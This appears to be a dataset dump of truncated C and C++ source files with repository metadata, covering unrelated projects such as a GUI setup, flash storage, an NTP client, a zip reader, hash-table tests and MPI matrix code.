#include <string.h> #include <stdio.h> #include <stdlib.h> #include "nuklearui.h" #include "opengl.h" #include "renderfunc.h" #include "resources.h" #include <unistd.h> #include <stdalign.h> #include "matrix.h" #include "options.h" #include "defines.h" typedef struct nk_context nk_context; typedef struct nk_font_atlas...
2.21875
2
2024-11-18T18:56:51.414136+00:00
2017-03-03T14:53:48
48b3dec3d3230ca898f2258f6f09531da8a8082c
{ "blob_id": "48b3dec3d3230ca898f2258f6f09531da8a8082c", "branch_name": "refs/heads/master", "committer_date": "2017-03-03T14:53:48", "content_id": "770898c933a048c5930f8248e740e28c3b9a5a87", "detected_licenses": [ "MIT" ], "directory_id": "ed73b971164e6838d2dfbd6a87ef8c46aea167d0", "extension": "h"...
stackv2
#ifndef RPS_H_ #define RPS_H_ /* * Redundant Protected Storage * * RPS uses 8 KB to store 4 KB of data in flash while making sure that a valid * copy of the data is always available. * * It does so by reserving 8 bytes at the end of the sector to store a sequence * number and CRC. While reading, should both s...
2.3125
2
2024-11-18T18:56:51.595993+00:00
2023-03-28T17:27:18
d98d29a20069cccea3a83ba2281f3afb89ec7c5e
{ "blob_id": "d98d29a20069cccea3a83ba2281f3afb89ec7c5e", "branch_name": "refs/heads/master", "committer_date": "2023-03-29T15:32:51", "content_id": "c3bd1e6276b0c3bb5eb95004eaa14c6977f47641", "detected_licenses": [ "Apache-2.0" ], "directory_id": "fc999e6316dc37d030dd39df68192aa85ce3b57a", "extensio...
stackv2
/* * Copyright 2019 Tresys Technology, LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to...
2.578125
3
2024-11-18T18:56:51.821838+00:00
2020-06-30T03:26:43
0048396adcd2a29e64fe562f26b7de91e68008c9
{ "blob_id": "0048396adcd2a29e64fe562f26b7de91e68008c9", "branch_name": "refs/heads/master", "committer_date": "2020-06-30T03:26:43", "content_id": "bf1e3b83f40370f3f1f53b0d1f2738fb2a52a442", "detected_licenses": [ "MIT" ], "directory_id": "4dcf5a58b58f65392147701c5266ed776cc8cb98", "extension": "c"...
stackv2
/* vere/lmdb.c */ #include "all.h" #include <uv.h> #include <lmdb.h> #include "vere/vere.h" // Event log persistence for Urbit // // Persistence works by having an lmdb environment opened on the main // thread. This environment is used to create read-only transactions // synchronously when needed. // // But the maj...
2.3125
2
2024-11-18T18:56:52.073582+00:00
2020-01-13T18:37:19
115aa7a8649b2f331f43fb9fc87b64c72ab6e640
{ "blob_id": "115aa7a8649b2f331f43fb9fc87b64c72ab6e640", "branch_name": "refs/heads/main", "committer_date": "2020-01-13T18:37:19", "content_id": "6431a2fa0eedb31789689edfb34da59151af6a6c", "detected_licenses": [ "MIT" ], "directory_id": "9e3f2b1b924e0b45c9701d38e5008955a84b10c5", "extension": "c", ...
stackv2
#include <stdlib.h> #include <string.h> #include <math.h> #include "grid.h" static char *grid_row_separator(void) { int i; char *separator = malloc(sizeof(char) * (BOARD_SIZE * 4 + 2)); strcpy(separator, "\n"); for (i = 0; i < BOARD_SIZE; i++) { if (i) strcat(separator, "+"); strcat(separator, "===")...
2.96875
3
2024-11-18T18:56:52.140252+00:00
2012-06-20T07:47:11
40ea3ed5a93ebb92d3e19bf9efe7ebb8ae3ce9d4
{ "blob_id": "40ea3ed5a93ebb92d3e19bf9efe7ebb8ae3ce9d4", "branch_name": "refs/heads/master", "committer_date": "2012-06-20T07:47:11", "content_id": "13ebc313aeec01835330693847cfd837447b418f", "detected_licenses": [ "Zlib" ], "directory_id": "c12f9c820e918dd3a70972695c0d899d43fce436", "extension": "c...
stackv2
// ------------------------------------------------------------------------------------------------ // ntp.c // ------------------------------------------------------------------------------------------------ #include "ntp.h" #include "console.h" #include "net.h" #include "net_port.h" #include "rtc.h" #include "time.h...
2.546875
3
2024-11-18T18:56:52.263564+00:00
2021-03-25T15:46:14
ebc29fcfd7bd647f1d134305b96d5045ad6b30bb
{ "blob_id": "ebc29fcfd7bd647f1d134305b96d5045ad6b30bb", "branch_name": "refs/heads/master", "committer_date": "2021-03-25T15:46:14", "content_id": "e8976245434f25165c57b8798a4a3b594816f0a2", "detected_licenses": [ "MIT" ], "directory_id": "4342db2a7fbffcc8af69ee0b439eedaba6f35156", "extension": "h"...
stackv2
#pragma once #include "help_ex.h" typedef size_t(*ArrayComparePROC)(void*, size_t, size_t, size_t, size_t, int, int); typedef size_t(*ArrayPROC)(void*, size_t, size_t, int); typedef bool(*ArrayEnumPROC)(void*, int, void*, int, size_t); //数组默认增长系数 #define eaf_growthfactor 1.1 //数组事件_添加成员 #define eae_addmember 1 //数组事件...
2.015625
2
2024-11-18T18:56:52.321605+00:00
2021-09-29T05:49:45
0ce8721ea85cdd6f55b0902574b7d5b94449b0f1
{ "blob_id": "0ce8721ea85cdd6f55b0902574b7d5b94449b0f1", "branch_name": "refs/heads/master", "committer_date": "2021-09-29T05:50:39", "content_id": "47b542098216b2967071935a545c0ac2ad5d762f", "detected_licenses": [ "MIT" ], "directory_id": "eecc72e9e4297750a932f470296a34140280236b", "extension": "c"...
stackv2
/** ****************************************************************************** * This file is part of the MicroPython project, http://micropython.org/ * Copyright (C), 2021 -2023, 01studio Tech. Co., Ltd.http://bbs.01studio.org/ * File Name : xpt2046.c * Author : Folktale * Version : v1.0 * ...
2.0625
2
2024-11-18T18:56:52.583431+00:00
2018-05-23T06:55:18
c5401747e7c25e6709fc15085616426c9c652de7
{ "blob_id": "c5401747e7c25e6709fc15085616426c9c652de7", "branch_name": "refs/heads/master", "committer_date": "2018-05-23T06:55:18", "content_id": "c2ba54400d04f2bb3f517c20b978c4035439fba7", "detected_licenses": [ "MIT" ], "directory_id": "2bc3398063fd7251c46a2d93d2e301cd063befcd", "extension": "c"...
stackv2
// This program is a part of NITAN MudLIB #include <ansi.h> inherit SKILL; int valid_enable(string usage) { return usage == "parry"; } int valid_learn(object me) { if ((int)me->query_skill("force") < 300) return notify_fail("你的内功火候不够,难以修习这等神功。\n"); if( query("max_neili", me)<3000 ) ...
2.15625
2
2024-11-18T18:56:52.688807+00:00
2015-08-12T20:20:37
d9b97d489cb50722dea3685ea1d5d6fcae972c97
{ "blob_id": "d9b97d489cb50722dea3685ea1d5d6fcae972c97", "branch_name": "refs/heads/master", "committer_date": "2015-08-12T20:20:37", "content_id": "1933930517a3d5424a7d25a824b44adc844da343", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "86f026381e488b879214d22f28b68fb6eb23cd6d", "extens...
stackv2
/* * GENFILES.C - read outfiles from getout, from_f and from_c, then map * - fortran kinds to C types * * Source Version: 3.0 * Software Release #: LLNL-CODE-422942 * */ #include "cpyright.h" #include <stdlib.h> #include <string.h> #include <stdio.h> #include <ctype.h> #define MAX_TYPES 32 #define...
2.671875
3
2024-11-18T18:56:52.981561+00:00
2022-03-10T21:08:40
a7fe7b28990e16787faf4840dcb5c1ceb75cb161
{ "blob_id": "a7fe7b28990e16787faf4840dcb5c1ceb75cb161", "branch_name": "refs/heads/main", "committer_date": "2022-03-10T21:08:40", "content_id": "39eb54103688438581054a0b74892711791fd94c", "detected_licenses": [ "MIT" ], "directory_id": "d3e4ff2671841b86dd7744efc770e723a233b1da", "extension": "c", ...
stackv2
/* * nan () returns a nan. * Added by Cygnus Support. */ /* FUNCTION <<nan>>, <<nanf>>---representation of infinity INDEX nan INDEX nanf ANSI_SYNOPSIS #include <math.h> double nan(void); float nanf(void); TRAD_SYNOPSIS #include <math.h> double nan(); float nanf(); DESCRIPTION <<nan>> and <<nanf>> ret...
2.359375
2
2024-11-18T18:56:54.534664+00:00
2023-08-29T20:55:49
10b3493728cd84d7f4b1075c755c83d775c48757
{ "blob_id": "10b3493728cd84d7f4b1075c755c83d775c48757", "branch_name": "refs/heads/master", "committer_date": "2023-08-29T20:55:49", "content_id": "efce1e30c3a2f981b580cbdc5d96b82a35469bc1", "detected_licenses": [ "MIT" ], "directory_id": "2d5e8b7963d12a424db0145316693af3d2ad9e65", "extension": "c"...
stackv2
// Unzip library by Per Bothner and Joonas Pihlajamaa. // See junzip.h for license and details. #include <stdlib.h> #include <string.h> #include <zlib.h> #include "junzip.h" #define ZIP_CENTRAL_SIGNATURE 0 #define ZIP_CENTRAL_VERSION_MADE_BY 4 #define ZIP_CENTRAL_VERSION_NEEDED_TO_EXTRACT 6 #define ZIP_CENTRAL_GENE...
2.21875
2
2024-11-18T18:56:54.659961+00:00
2017-06-01T17:55:57
b111fc423d6d3f7e0d880f97e9dd0bd9ac5d5a04
{ "blob_id": "b111fc423d6d3f7e0d880f97e9dd0bd9ac5d5a04", "branch_name": "refs/heads/master", "committer_date": "2017-06-01T17:55:57", "content_id": "6c15d02c33d4aa68fd12860f394a298426020a7c", "detected_licenses": [ "MIT" ], "directory_id": "330b93a10525360b7506879637b0a33848501a01", "extension": "h"...
stackv2
/* Copyright (c) 2015 ThreadScan authors Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribu...
2.59375
3
2024-11-18T18:56:54.812957+00:00
2019-12-03T17:59:20
a142bd9d6201ad1a2c67c9a65df7b310e1d9ca7a
{ "blob_id": "a142bd9d6201ad1a2c67c9a65df7b310e1d9ca7a", "branch_name": "refs/heads/master", "committer_date": "2019-12-03T17:59:20", "content_id": "ec01e9ab0c1b745417f6e21fd626ac7acfe44302", "detected_licenses": [ "MIT" ], "directory_id": "6e83b8af527714a74f4149c75abd2803458309a3", "extension": "c"...
stackv2
/* * C Reusables * <http://github.com/mity/c-reusables> * * Copyright (c) 2015-2018 Martin Mitas * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including witho...
2.265625
2
2024-11-18T18:56:54.971092+00:00
2012-10-23T05:00:38
73082647ed32fe16fe67258ab185dccd30d3cf4d
{ "blob_id": "73082647ed32fe16fe67258ab185dccd30d3cf4d", "branch_name": "refs/heads/master", "committer_date": "2012-10-23T05:00:38", "content_id": "8543214bf5e3991ba0c9bb0226e282ec4864c123", "detected_licenses": [ "MIT-enna" ], "directory_id": "d6f4d7e6183e1b40b3bebcdf4fe5587e38cd8479", "extension"...
stackv2
#include "common.h" #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <time.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <ctype.h> #include <errno.h> #ifdef BUILD_X11 # include <X11/Xlib.h> #else # define X_DISPLAY_MISSING #endif #...
2.125
2
2024-11-18T18:56:55.073344+00:00
2020-03-20T06:05:05
de638dba76e66f12fd66d4a6c32ac99033ab2c93
{ "blob_id": "de638dba76e66f12fd66d4a6c32ac99033ab2c93", "branch_name": "refs/heads/hpsc", "committer_date": "2020-03-20T06:05:05", "content_id": "435725f96209c470229653d87f3c8ca42a18d239", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "767bbff8d8ced5fce822b4079d5d7b8af69e31b6", "extensio...
stackv2
#ifndef LINK_H #define LINK_H #include <unistd.h> #include "object.h" enum link_rpc_status { LINK_RPC_UNKNOWN = 0, LINK_RPC_OK, LINK_RPC_ERROR, }; typedef void (link_resp_cb_t)(void *opaque); /** * The link struct is effectively an API, which can be populated by other * link-like interfaces. */ stru...
2.34375
2
2024-11-18T18:56:55.411362+00:00
2019-09-21T22:46:29
e50f05bf56386711e92b0e9a97fa4fd4febebac4
{ "blob_id": "e50f05bf56386711e92b0e9a97fa4fd4febebac4", "branch_name": "refs/heads/master", "committer_date": "2019-09-21T22:46:29", "content_id": "b16987cfc7a9c1d98af651e5e51eb8642ae77e83", "detected_licenses": [ "BSD-2-Clause" ], "directory_id": "a671414f8f624acfeb1db81a43a13ba1b780fc37", "extens...
stackv2
#pragma once enum class TextAlignment { TopLeft, CenterLeft, Center, CenterRight, TopRight, }; inline bool is_right_text_alignment(TextAlignment alignment) { switch (alignment) { case TextAlignment::CenterRight: case TextAlignment::TopRight: return true; default: re...
2.234375
2
2024-11-18T18:56:55.578217+00:00
2016-11-04T18:48:37
8bd21efaf8d248f437fb1e75dfbf245a5663920f
{ "blob_id": "8bd21efaf8d248f437fb1e75dfbf245a5663920f", "branch_name": "refs/heads/master", "committer_date": "2016-11-04T18:48:37", "content_id": "f368cdc352619a7e6c31471da5801b0883b01bd0", "detected_licenses": [ "MIT" ], "directory_id": "d3fd68aa2097c5db75a53a798f43962af3170058", "extension": "c"...
stackv2
/* Kenneth Adair K&R pg. 113 */ #include <stdio.h> char *month_name(int n); int main() { int n = 5; char *month = month_name(n); printf("The %i-th month of the year is %c\n", n, *month); } /* month_name: return name of the n-th month */ char *month_name(int n) { static char *name[] = { "illegal month", "Janua...
3.453125
3
2024-11-18T18:56:55.868654+00:00
2017-10-30T19:16:57
ff51430307eb8b15b859ee8bffe10de678994954
{ "blob_id": "ff51430307eb8b15b859ee8bffe10de678994954", "branch_name": "refs/heads/master", "committer_date": "2017-10-30T19:16:57", "content_id": "98344c1e6902a6748931ddcf2a66bf405c54fe15", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "cb4f33073b81c32270d60d6eca1f0385db15c2d4", "extens...
stackv2
#include "hash.h" #include "hash_internal.h" #include "map_testing.h" MAP_TESTS(hash, "hash", init_hash()); int chain_len(hash_entry_t *next) { int len = 0; while(next) { len++; next = next->next; } return len; } float calc_avg_collisions(hash_t *hash) // Calculate the average number of collisions per e...
2.5
2
2024-11-18T18:56:55.929177+00:00
2016-03-15T13:47:59
86f3d125bc19f1f019a3ab59b978b3adbed5f589
{ "blob_id": "86f3d125bc19f1f019a3ab59b978b3adbed5f589", "branch_name": "refs/heads/master", "committer_date": "2016-03-15T13:47:59", "content_id": "a2cb5442d1250119c4987290d40fcc6b683c78db", "detected_licenses": [ "Apache-2.0" ], "directory_id": "6a4a57d3b327ba7334cec147c30398ba5e6f6094", "extensio...
stackv2
/* Description: The ANSI C code of the PRVNS approach Programmer: Wesklei Migliorini E-mail: wesklei.m@gmail.com Date: 04/11/2014 Lisence: Free Note: The system was developed using Linux. To compile: Type: make To run: ./algorithm i...
2.4375
2
2024-11-18T18:56:56.136038+00:00
2021-03-13T10:25:06
c97d81b7d704c9fded734fcc3f695b29cd31f11c
{ "blob_id": "c97d81b7d704c9fded734fcc3f695b29cd31f11c", "branch_name": "refs/heads/master", "committer_date": "2021-03-13T10:25:06", "content_id": "f969eaccd956991ae26877a6d41d0bb6ddd73d7d", "detected_licenses": [ "MIT" ], "directory_id": "847a0217508a39502509ebab74dfcd626180137a", "extension": "c"...
stackv2
#include <bits/stdc++.h> using namespace std; int dpTable[10000]; int values[501],weight[501]; int targetWeight; int t,n; int dp(int currentWeight){ if(currentWeight == targetWeight){ return 0; } if(currentWeight > targetWeight){ return -1; } if(dpTable[currentWeight] != 0){ret...
2.8125
3
2024-11-18T18:56:56.541990+00:00
2015-10-23T01:17:56
0885e5dd8b9f1f5f3fe95bdf276a4920e63148b0
{ "blob_id": "0885e5dd8b9f1f5f3fe95bdf276a4920e63148b0", "branch_name": "refs/heads/master", "committer_date": "2015-10-23T01:17:56", "content_id": "2a243955a29238d96b2005f8f13080eed987968b", "detected_licenses": [ "MIT" ], "directory_id": "a18f4d4cbbb7eb56507ef0b73cc231717b330f62", "extension": "c"...
stackv2
# include <stdio.h> int main() { float altura; float peso; float IMC; printf ("\n Entre com sua altura (em metros):\n"); scanf ("%f",&altura); printf ("\n Entre com seu peso (em quilos):\n"); scanf ("%f",&peso); IMC=peso/(altura*altura); printf("\n Seu IMC é: %.2f...
3.171875
3
2024-11-18T18:56:56.621632+00:00
2019-06-04T16:13:14
0516d72b03b8e631e9fdbaa8712dd4648286f429
{ "blob_id": "0516d72b03b8e631e9fdbaa8712dd4648286f429", "branch_name": "refs/heads/master", "committer_date": "2019-06-04T16:13:14", "content_id": "09bf664c78bc7441b8fd42fb932f51ec641998f0", "detected_licenses": [ "MIT" ], "directory_id": "bfbebbeb55f9f036bfe270af6fc18f8de004e2ab", "extension": "c"...
stackv2
#include "texgen_internal.h" typedef struct TexGen_Rand_Params { bool_t useColor; bool_t useSeed; int seed; } TexGen_Rand_Params; static const TexGen_Rand_Params texGen_rand_defaultParams = { .useColor = true, .useSeed = false }; bool_t texGen_rand_execute(GColor* output, int logSize, const void*...
2.359375
2
2024-11-18T18:56:56.779163+00:00
2023-02-16T11:27:40
c61a409adf899196ea20541cda7c0b91d7edd624
{ "blob_id": "c61a409adf899196ea20541cda7c0b91d7edd624", "branch_name": "refs/heads/main", "committer_date": "2023-02-16T14:59:16", "content_id": "78adfe6be82c1b089b66f2091b4773e8153affc0", "detected_licenses": [ "Apache-2.0" ], "directory_id": "e8302c75d770d1608b317d6af5c483bbad6c0493", "extension"...
stackv2
/* * Copyright (c) 2022 Meta * * SPDX-License-Identifier: Apache-2.0 */ #include "_common.h" #ifdef CONFIG_POSIX_API #include <netinet/in.h> #else #include <zephyr/posix/netinet/in.h> #endif #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wunused-variable" /** * @brief existence test for `<netinet/...
2.046875
2
2024-11-18T18:56:57.057331+00:00
2014-04-29T05:27:34
3e671cdd3cac7b8de7f435b9e23e0e3bb5a1a0bf
{ "blob_id": "3e671cdd3cac7b8de7f435b9e23e0e3bb5a1a0bf", "branch_name": "refs/heads/master", "committer_date": "2014-04-29T05:27:34", "content_id": "335a6f9c50540fe795bd040f77dba2102bf998b5", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "7ca4b32ec7876ac7ddbdfbe41ae0e9c4d1428dad", "extens...
stackv2
/** * Copyright (c) 2011, Willem-Hendrik Thiart * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. * * @file * @brief * @author Willem Thiart himself@willemthiart.com * @version 0.1 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <a...
2.265625
2
2024-11-18T18:56:57.237549+00:00
2016-10-25T02:04:14
19f52b743ef4d16bccdf7ecfa0682431240ab020
{ "blob_id": "19f52b743ef4d16bccdf7ecfa0682431240ab020", "branch_name": "refs/heads/master", "committer_date": "2016-10-25T02:04:14", "content_id": "19fe8305a6add80bfbcfe4fe222112886722e3c4", "detected_licenses": [ "MIT" ], "directory_id": "0ebe1ac0a563a1f8b50c608712b3ecf68b7cb2a9", "extension": "c"...
stackv2
#include <lua.h> #include <lauxlib.h> #include <uv.h> #include "coio.h" static luaL_Reg module[] = { {"async", coio_async}, {"await", coio_await}, {NULL, NULL} }; int luaopen_coio_async(lua_State *L) { // Create metatable luaL_newmetatable(L, COIO_ASYNC_TNAME); luaL_newlib(L, module + 1); ...
2.375
2
2024-11-18T18:56:57.338497+00:00
2021-09-12T03:18:12
2d205aa679190466fde420e947da9e6a3ea0540b
{ "blob_id": "2d205aa679190466fde420e947da9e6a3ea0540b", "branch_name": "refs/heads/master", "committer_date": "2021-09-12T03:18:32", "content_id": "9d0b3cec4017dc825d4caca21ab2ff9c6c6ac2bb", "detected_licenses": [ "MIT" ], "directory_id": "45f9f80356a9d26331ac4a258e51f1681c92ae0e", "extension": "c"...
stackv2
#include "game-mode.h" #include "../init/init.h" #include "../feature/feature.h" #include <libreborn/libreborn.h> #include <symbols/minecraft.h> static int is_survival = -1; // Patch Game Mode static void set_is_survival(int new_is_survival) { if (is_survival != new_is_survival) { INFO("Setting Game Mode...
2.09375
2
2024-11-18T18:56:57.499454+00:00
2018-07-08T14:10:11
226eb7eabe95abdd5d8f394086750b414ffd0d2b
{ "blob_id": "226eb7eabe95abdd5d8f394086750b414ffd0d2b", "branch_name": "refs/heads/master", "committer_date": "2018-07-08T14:10:11", "content_id": "5af60893d02070df54331757dd8dc4a2f0d857d8", "detected_licenses": [ "ISC" ], "directory_id": "56a5101830683240af0cffed9cfc1d60beb8efce", "extension": "h"...
stackv2
#pragma once //The below defines are based on Linux kernel ioctl.h. #define _NV_IOC_NRBITS 8 #define _NV_IOC_TYPEBITS 8 #define _NV_IOC_SIZEBITS 14 #define _NV_IOC_DIRBITS 2 #define _NV_IOC_NRMASK ((1 << _NV_IOC_NRBITS)-1) #define _NV_IOC_TYPEMASK ((1 << _NV_IOC_TYPEBITS)-1) #define _NV_IOC_SIZEMASK ((1 << _NV_IOC_S...
2.25
2
2024-11-18T18:56:57.853330+00:00
2016-10-23T12:37:06
0802d7367985a71d2151e76a09f20df0e232b4a0
{ "blob_id": "0802d7367985a71d2151e76a09f20df0e232b4a0", "branch_name": "refs/heads/master", "committer_date": "2016-10-23T12:37:06", "content_id": "dcdb1498c99a112e451fe1203bed5c3b0cd43d8d", "detected_licenses": [ "BSD-2-Clause" ], "directory_id": "6c7970a29ddc65e246af4937f4ce752a27c08fc8", "extens...
stackv2
#include "c_types.h" #include "user_interface.h" #include "osapi.h" #include "espconn.h" #include "mem.h" #include "network.h" #include "queue.h" static os_timer_t ipTimer; struct espconn *conn; bool connected = 0; /** * Convert 32 bit int to array of 4 8 bit ints * * @param ip * @param out */ static void ICACH...
2.09375
2
2024-11-18T19:20:23.878569+00:00
2015-08-26T21:10:49
6783a2997a52e90215e601b2b2196b0d99321d8d
{ "blob_id": "6783a2997a52e90215e601b2b2196b0d99321d8d", "branch_name": "refs/heads/master", "committer_date": "2015-08-26T21:10:49", "content_id": "de0c16f816824e737fc0896efc831470be2d8d82", "detected_licenses": [ "MIT" ], "directory_id": "ebcb2ff8d0ead20f54c3d1d883ee7afc11a97a6c", "extension": "c"...
stackv2
// // This file is distributed under the MIT License. See LICENSE for details. // #include "simple.h" void test(int a) { int b = a; a = incr(a); assert(a > b); } int main(void) { int a = __VERIFIER_nondet(); assume(a < 10000); // prevents overflow when bit-precise test(a); return 0; }
2.265625
2
2024-11-18T19:20:24.166143+00:00
2018-06-11T10:18:46
746e80c3d4ab7c610a320d1fe59cc3407dc5f6c9
{ "blob_id": "746e80c3d4ab7c610a320d1fe59cc3407dc5f6c9", "branch_name": "refs/heads/master", "committer_date": "2018-06-11T10:18:46", "content_id": "f92e39c425affe327d641e8ddca0bcfc644c04fe", "detected_licenses": [ "MIT" ], "directory_id": "66f0f234ac9ebaa0eaa038d7228ff3303cbaca37", "extension": "c"...
stackv2
#include <mpi.h> #include <math.h> #include"utils.h" int main(int argc,char* argv[]){ MPI_Init(&argc, &argv); double tic = -MPI_Wtime(); double** A, ** B, ** C; int * globalSize = (int*)malloc(sizeof(int) * 2); int * globalSizeA = (int*)malloc(sizeof(int) * 2); int * globalSizeB = (int*)malloc(sizeof(int) * 2...
2.546875
3
2024-11-18T19:20:24.282853+00:00
2017-07-25T14:15:40
265a48546160bbc02af9023ead4b53efcf1a4e27
{ "blob_id": "265a48546160bbc02af9023ead4b53efcf1a4e27", "branch_name": "refs/heads/master", "committer_date": "2017-07-25T14:15:40", "content_id": "1ce1c1d04af5a72491cf8762d384afc09de351ab", "detected_licenses": [ "MIT" ], "directory_id": "ddf5c6348cc606a84176729d01c448db096cd48d", "extension": "c"...
stackv2
// unittest.c // Based on MinUnit // http://www.jera.com/techinfo/jtns/jtn002.html // // @author Angus Hilts // // Simple unit test framework for C #include <stdio.h> #include "unittest.h" int tests_run = 0; int tests_passed = 0; int tests_failed = 0; int asserts_passed = 0; int asserts_failed = 0; int square(int x)...
2.71875
3
2024-11-18T19:50:41.089290+00:00
2020-12-09T23:41:48
b7356ac69beda5bc1846a57782e590d098848329
{ "blob_id": "b7356ac69beda5bc1846a57782e590d098848329", "branch_name": "refs/heads/master", "committer_date": "2020-12-09T23:41:48", "content_id": "923f8232e895b55c990fd6d99dacfd408b79e5f0", "detected_licenses": [ "BSD-2-Clause" ], "directory_id": "9ca2982c77674e905545448c88ab493093eb3aad", "extens...
stackv2
/* * SPDX-License-Identifier: BSD-2-Clause * * Copyright 2018-2020 SUSE LLC * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, thi...
2.15625
2
2024-11-18T19:50:41.287001+00:00
2022-09-28T11:41:48
5f78356b4d267fc7885933bb1e3835fa33a59661
{ "blob_id": "5f78356b4d267fc7885933bb1e3835fa33a59661", "branch_name": "refs/heads/master", "committer_date": "2022-09-28T11:41:48", "content_id": "c74240e4d9c64bcf165146f682174c9a71d91f52", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "c63d2a79f55a3c4812ec4c95e070fa9c00c0bb6a", "extens...
stackv2
/******** build_params_cl.c *********/ /* MIMD version 6 */ /* clover action */ #include "arb_dirac_eig_includes.h" void build_params(Real mass_0) { int j; Real cpauli[4]; Real fpauli[4]; Real boost_term; /* lambda and rho terms */ for(j=1;j<5;j++) { lambda[j]= 0.0; rho[j]= 0.0; } lambda...
2.296875
2
2024-11-18T17:55:01.554117+00:00
2019-12-15T23:04:24
0c8aee6ceb4453038cb91b7b8342e87e2d1e8216
{ "blob_id": "0c8aee6ceb4453038cb91b7b8342e87e2d1e8216", "branch_name": "refs/heads/master", "committer_date": "2019-12-15T23:04:24", "content_id": "b2e73da91d9b62532c9971c02233fdfd3daab011", "detected_licenses": [ "MIT" ], "directory_id": "366b6585fdd791f82148adbeb033b9972bae32d3", "extension": "c"...
stackv2
/* * Copyright (C) 2008-2016, Marvell International Ltd. * All Rights Reserved. */ /* * Application to demonstrate the use of CLI commands * * Summary: * * This application registers a CLI command 'echo' that echoes the input * parameter. * * Description: * * This application registers a command with th...
3.015625
3
2024-11-18T17:55:02.443693+00:00
2020-09-13T11:34:30
f77ccda521cb6b7ed048b127982e2d904fee1ebf
{ "blob_id": "f77ccda521cb6b7ed048b127982e2d904fee1ebf", "branch_name": "refs/heads/master", "committer_date": "2020-09-13T11:34:30", "content_id": "78863e04133a8f72e4f7fac5ce78ce745c2d839f", "detected_licenses": [ "MIT" ], "directory_id": "191e03d78596fc60b8b37bb1e857d7f27f204f5f", "extension": "c"...
stackv2
#include "libmx.h" /* * Searches string <s> in sorted array <arr> using binary sort algorithm. * count - number of iterations. */ int mx_binary_search(char **arr, int size, char *s, int *count){ int start = 0; int end = size - 1; int mid; while (start <= end) { mid = start + (end - start) /...
2.96875
3
2024-11-18T17:55:03.023420+00:00
2018-12-23T21:42:45
c8be192ee80ddee92ff07f2bd29953f503222e65
{ "blob_id": "c8be192ee80ddee92ff07f2bd29953f503222e65", "branch_name": "refs/heads/master", "committer_date": "2018-12-23T21:50:27", "content_id": "12388c0135d3c6f22510cad860718554ff99844f", "detected_licenses": [ "Apache-2.0" ], "directory_id": "866b6900d3426ce3189b92cd9a0b8b5eb759ecfa", "extensio...
stackv2
/* * Copyright 2018 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to ...
2.6875
3
2024-11-18T17:55:03.677973+00:00
2015-03-16T15:57:59
6600f3e963dfe4003bbfe79c793498cc14367e4b
{ "blob_id": "6600f3e963dfe4003bbfe79c793498cc14367e4b", "branch_name": "refs/heads/master", "committer_date": "2015-03-16T15:57:59", "content_id": "c6be03832df5f1284062d48677396f9094ac778e", "detected_licenses": [ "MIT" ], "directory_id": "d42cf5317f5e05a013883ce6c54d9124db224005", "extension": "c"...
stackv2
/** * * For reference: Pearson's rho... * * sum( (x_i-E[x])(y_i-E[y]) ) * rho = ------------------------------------------- * sqrt( sum((x_i-E[x])^2) sum((y_i-E[y])^2) ) */ #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <limits.h> #include <string.h> #include <m...
2.453125
2
2024-11-18T17:55:04.317366+00:00
2018-05-07T21:04:20
e54c5245e25fe6909bbc7aaf5f198e4e0397874e
{ "blob_id": "e54c5245e25fe6909bbc7aaf5f198e4e0397874e", "branch_name": "refs/heads/master", "committer_date": "2018-05-07T21:04:20", "content_id": "b85758e979cb97a51bdaed53cbfb7693571c3743", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "d095dbe66634c73691ff12c761961e331ab69ae0", "extens...
stackv2
/* * usart.h * * Created: 2018-05-05 09:46:25 * Author: leaf */ #ifndef USART_H_ #define USART_H_ enum SERIAL_CONFIG{ SERIAL_8N1 = 0x40000000ul, SERIAL_8E1 = 0x41000000ul, SERIAL_8O1 = 0x41002000ul, SERIAL_8N1_MSB = 0x00000000ul, SERIAL_8E1_MSB = 0x01000000ul, SERIAL_8O1_MSB = 0x01002000ul, }; ...
2.125
2
2024-11-18T17:55:04.398836+00:00
2020-11-10T07:17:22
be56c06c11703f5950b6ee6e68d4cfc8959ff8c2
{ "blob_id": "be56c06c11703f5950b6ee6e68d4cfc8959ff8c2", "branch_name": "refs/heads/master", "committer_date": "2020-11-10T07:17:22", "content_id": "82d7ac21b72f40531b349d34c894d420523e7577", "detected_licenses": [ "MIT" ], "directory_id": "f303dc088ef3a7c4135c86ae2cc782158bac70c7", "extension": "c"...
stackv2
#include <cilk/cilk.h> #include <cilk/cilk_api.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #define LOOP_SIZE 100000 #define TIME double timespec_to_ms(struct timespec *ts) { return ts->tv_sec * 1000.0 + ts->tv_nsec / 1000000.0; } int vector_scale(int *a, int *c, int scale, // 24.8 ...
3.0625
3
2024-11-18T17:55:04.569288+00:00
2019-01-20T22:52:15
39b04ddfb6f0aef50a9fe1e9a7ff075bac69c83f
{ "blob_id": "39b04ddfb6f0aef50a9fe1e9a7ff075bac69c83f", "branch_name": "refs/heads/master", "committer_date": "2019-01-20T22:52:15", "content_id": "3b20fb0fabc6dc6221334fddb33fb75a112db6a2", "detected_licenses": [ "MIT" ], "directory_id": "544fc6833562dd870904f66b5772968334e124c3", "extension": "c"...
stackv2
